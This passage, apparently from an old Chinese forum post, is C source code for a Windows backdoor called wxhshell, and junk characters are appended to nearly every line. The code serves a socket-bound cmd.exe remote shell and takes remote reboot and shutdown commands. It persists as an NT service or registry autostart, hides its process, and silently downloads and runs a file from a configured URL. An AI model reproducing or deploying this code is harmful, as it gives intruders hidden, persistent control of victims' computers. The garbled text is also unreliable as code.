  (PYUfiOf  
  // 帮助 LvpHR#K)F5  
  case '?': { T0_9:I`&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wAHb 5>!  
    break; syh0E= If_  
  } H+zn:j@~L  
  // 安装 \Rn.ug  
  case 'i': { AK<ZP?0  
    if(Install()) x7e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V,qZF=}S  
    else ^ v3+w"2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y51XpcXQ  
    break; PiB)pUYj  
    } Y6A]dk  
  // 卸载 Ja-D}|;  
  case 'r': { DT&[W<oN  
    if(Uninstall()) |D^Q}uT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , IUMH]D  
    else k?Jzy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hvBuQuk)  
    break; :Puv8[1i  
    } |xzqYu?o  
  // 显示 wxhshell 所在路径 2W pe( \(  
  case 'p': { EpGe'S  
    char svExeFile[MAX_PATH]; [[D}vL8d  
    strcpy(svExeFile,"\n\r"); P's<M  
      strcat(svExeFile,ExeFile); )ymF: ]QC  
        send(wsh,svExeFile,strlen(svExeFile),0); *DkA$Eu3u  
    break; u2<:mu[|P  
    } Oe9{`~  
  // 重启 0jv9N6IM  
  case 'b': { z>j%-3_1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KHr8\qLH  
    if(Boot(REBOOT)) 1jmhh !,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jTw s0=F*  
    else { | 7>1)  
    closesocket(wsh); RA[` Cp"  
    ExitThread(0); !w f N~.Y  
    } UO"8 I2rB  
    break; uMsKF%m  
    } 7k6rhf7H  
  // 关机  CjQ_oNI  
  case 'd': { 9+QLcb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NtTLvO6  
    if(Boot(SHUTDOWN)) =mqV&FgRo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J=K3S9:n]g  
    else { z,rWj][P  
    closesocket(wsh); Cw{#(xX  
    ExitThread(0); %o4d4 3uZ  
    } C`mXEX5  
    break; Tf@t.4\  
    } Q\=u2}/z0  
  // 获取shell *MagicA  
  case 's': { ZJ=C[s!wu  
    CmdShell(wsh); EZP2Bb5g  
    closesocket(wsh); 0nie>  
    ExitThread(0); (%0X\zvu/  
    break; d c&Qi_W  
  } BpP\C!:^  
  // 退出 !+)$;`  
  case 'x': { L&3=5Bf9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tjs-+$P+  
    CloseIt(wsh); bT{P1nUu  
    break; \((>i7C  
    } ^J% w[FE  
  // 离开 #UND'c(5  
  case 'q': { 7 oZ-D~3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HTqikw5X  
    closesocket(wsh); ?7&VT1  
    WSACleanup(); A v2 _A  
    exit(1); 5RLK]=  
    break; 5 (H; x74  
        } 0jq&i#yNB  
  } * )]SsM1  
  } XVv7W5/q]  
s?Q`#qD  
  // 提示信息 D"x~bs?V\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q }z,C{Wq<  
} zx'`'t4~  
  } !;\-V}V  
T[Gz  
  return; 6  09=o+  
} c7rYG]  
RTl7vzG  
// shell模块句柄 NZlJ_[\$C  
int CmdShell(SOCKET sock) q',a7Tf:  
{ 8%xtb6#7M  
STARTUPINFO si; #kb(2Td  
ZeroMemory(&si,sizeof(si)); !-MG"\#Wq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9q8 rf\&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |x5 w;=  
PROCESS_INFORMATION ProcessInfo; A`N;vq,  
char cmdline[]="cmd"; ;,4J:zvZdQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |u}sX5/q  
  return 0; Cn`% *w  
} 4x C0Aw  
Cz a)s  
// 自身启动模式 9hguC yr@h  
int StartFromService(void) ~r>UjC_ B:  
{ fGe{7p6XV*  
typedef struct i'5bPW  
{ 2Qk\}KWs  
  DWORD ExitStatus; #ASu SQ  
  DWORD PebBaseAddress; lmc-ofEv  
  DWORD AffinityMask; 8v6rS-iHP  
  DWORD BasePriority; `UJW:qqW  
  ULONG UniqueProcessId; v'@LuF'e8  
  ULONG InheritedFromUniqueProcessId; ^#t<ILUa  
}   PROCESS_BASIC_INFORMATION; SQ1&n;M}f  
Rw\DJJrz  
PROCNTQSIP NtQueryInformationProcess; { o;0Fx  
eD(a +El}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fh/C{cX9g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #xo&#FIH  
(@#Lk"B  
  HANDLE             hProcess; +es6c')  
  PROCESS_BASIC_INFORMATION pbi; %4-pw|':  
hBqu,A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U&/S  
  if(NULL == hInst ) return 0; >S3 >b  
p-6.:y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iLI]aZ   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  nm~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J~Ph)|AiS  
>WEg8'#O  
  if (!NtQueryInformationProcess) return 0; Qv=Z  
_k@l-Bj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #FQVhgc  
  if(!hProcess) return 0; 52 A=c1kb  
[}Iq-sz;0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bbM !<&F  
E<4}mSn)  
  CloseHandle(hProcess); .KLuGb 3JJ  
t&uHn5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lKwcT!Q4  
if(hProcess==NULL) return 0; >k jJq]A2  
CyU>S}t  
HMODULE hMod; "|%fA E  
char procName[255]; E4.IS =4S  
unsigned long cbNeeded; UmuFzw^  
CKur$$B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O^$Zz<  
m{yON&y  
  CloseHandle(hProcess); syfR5wc  
qs b4@jt+  
if(strstr(procName,"services")) return 1; // 以服务启动 4%7*tVG  
4>HGwk@+8  
  return 0; // 注册表启动 sP |i '  
} CUG<v3\  
*Wau7  
// 主模块  M:$nL  
int StartWxhshell(LPSTR lpCmdLine) }.vy|^X  
{ K!~ ](_W!  
  SOCKET wsl; <>oW f  
BOOL val=TRUE; iau&k `b`  
  int port=0; R}Y=!qjYE=  
  struct sockaddr_in door; aKy|$ {RC  
%G&v@R  
  if(wscfg.ws_autoins) Install(); <coCu0  
jdp:G  
port=atoi(lpCmdLine); w6Q]?p+  
u5ygbCm  
if(port<=0) port=wscfg.ws_port; cOgtBEhn  
iy"K g]  
  WSADATA data; 'W*F[U*&HP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ATHz~a  
[)pT{QA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k}.nH"AQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B=r/(e  
  door.sin_family = AF_INET; `y#C%9#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qa%SvA@R  
  door.sin_port = htons(port); (jG$M=q-  
J_@4J7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :<gk~3\  
closesocket(wsl); GZt] 38V)g  
return 1; Jx<  
} -tdG} Gu  
wp*1HnWj8Y  
  if(listen(wsl,2) == INVALID_SOCKET) { tK H!xit  
closesocket(wsl); Zv\b`Cf}  
return 1; "!?bC#d#(  
} #w@Pa L iS  
  Wxhshell(wsl); aB)DX  
  WSACleanup(); Z(eSnV_RL  
NZ5~\k  
return 0; ~4<3`l=A  
sCl,]g0{  
} IycxRig  
QR'g*Bro  
// 以NT服务方式启动 kDh(~nfj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +GS=zNw#  
{ ;gnr\C*G  
DWORD   status = 0; W!X]t)Ow  
  DWORD   specificError = 0xfffffff; lg+g:o  
Sq,ty{j2%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qg!*=<b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zY+Et.lg]^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3(&F.&C$$  
  serviceStatus.dwWin32ExitCode     = 0; bn35f<+  
  serviceStatus.dwServiceSpecificExitCode = 0; M(uB ;Te  
  serviceStatus.dwCheckPoint       = 0; 9a%@j ]  
  serviceStatus.dwWaitHint       = 0; nW_  
={ '($t%|T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UGt7iT<`8  
  if (hServiceStatusHandle==0) return; !?/bK[ P,  
Uzn|)OfWP  
status = GetLastError(); QO/7p]$_  
  if (status!=NO_ERROR) \[EWxu  
{ I "2FTGA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5.#9}]  
    serviceStatus.dwCheckPoint       = 0; >}*jsqaVU  
    serviceStatus.dwWaitHint       = 0; l)s+"C#  
    serviceStatus.dwWin32ExitCode     = status; X~3P?O]kFv  
    serviceStatus.dwServiceSpecificExitCode = specificError; F4%[R)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wp3l>:  
    return; SGd.z6"H  
  } pe})A  
Q{hOn]"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iXRt9)MT{  
  serviceStatus.dwCheckPoint       = 0; VAE?={-  
  serviceStatus.dwWaitHint       = 0; x^2/jUc#B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `h!&->  
} 3+5\xRq  
i%8&g2  
// 处理NT服务事件,比如:启动、停止 J*X.0&Toc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J9.p8A^^2  
{ E(_I3mftm  
switch(fdwControl) nk 9 K\I  
{ zEfD{I  
case SERVICE_CONTROL_STOP: m0\}Cc  
  serviceStatus.dwWin32ExitCode = 0; vP NZFi-(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =Gz>ZWF  
  serviceStatus.dwCheckPoint   = 0; ,{*fOpn  
  serviceStatus.dwWaitHint     = 0; QvN <uxm  
  { L0  2~FT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7=A9E]:  
  } {Y%=/ba W  
  return; F|`B2Gr  
case SERVICE_CONTROL_PAUSE: Ki6.'#%7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NV4W2thYo  
  break; >%dAqYi $  
case SERVICE_CONTROL_CONTINUE: i bs "Iv34  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $ow`)?sh  
  break; F)kLlsp  
case SERVICE_CONTROL_INTERROGATE: <9tG_  
  break; vXQmEIm  
}; 'TsZuZW]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H)aC'M^  
} @zF:{=+]+  
u!k<sd_8B  
// 标准应用程序主函数 uN3J)@;_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EoR6Rx@Z  
{ vcU\xk")  
6XK`=ss?  
// 获取操作系统版本 %P,^}h7  
OsIsNt=GetOsVer(); aB6LAb2z;T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 91d`LsP  
V9+"CB^  
  // 从命令行安装 Sc 3M#qm_  
  if(strpbrk(lpCmdLine,"iI")) Install(); E(+wl  
,<r3Z$G  
  // 下载执行文件 "sX?wTag  
if(wscfg.ws_downexe) { SJ7=<y}[d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <?Izfl6  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~<[5uZIo  
} KqUSTR1e[  
|P0L,R  
if(!OsIsNt) { ~LW%lMy;^|  
// 如果时win9x,隐藏进程并且设置为注册表启动 NZW)X[nXM  
HideProc(); :42;c:85  
StartWxhshell(lpCmdLine); 4qXRDsbCf  
} '=G Ce%A  
else cYy @  
  if(StartFromService()) A<CXdt+t  
  // 以服务方式启动 x&oBO{LNK,  
  StartServiceCtrlDispatcher(DispatchTable); ^_h7!=W  
else wK`ieHmp  
  // 普通方式启动 R6Z}/m  
  StartWxhshell(lpCmdLine); M #=5u`h  
~2DV{dyj  
return 0; a;T[%'in  
}
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只看该作者 1 发表于: 2006-10-10
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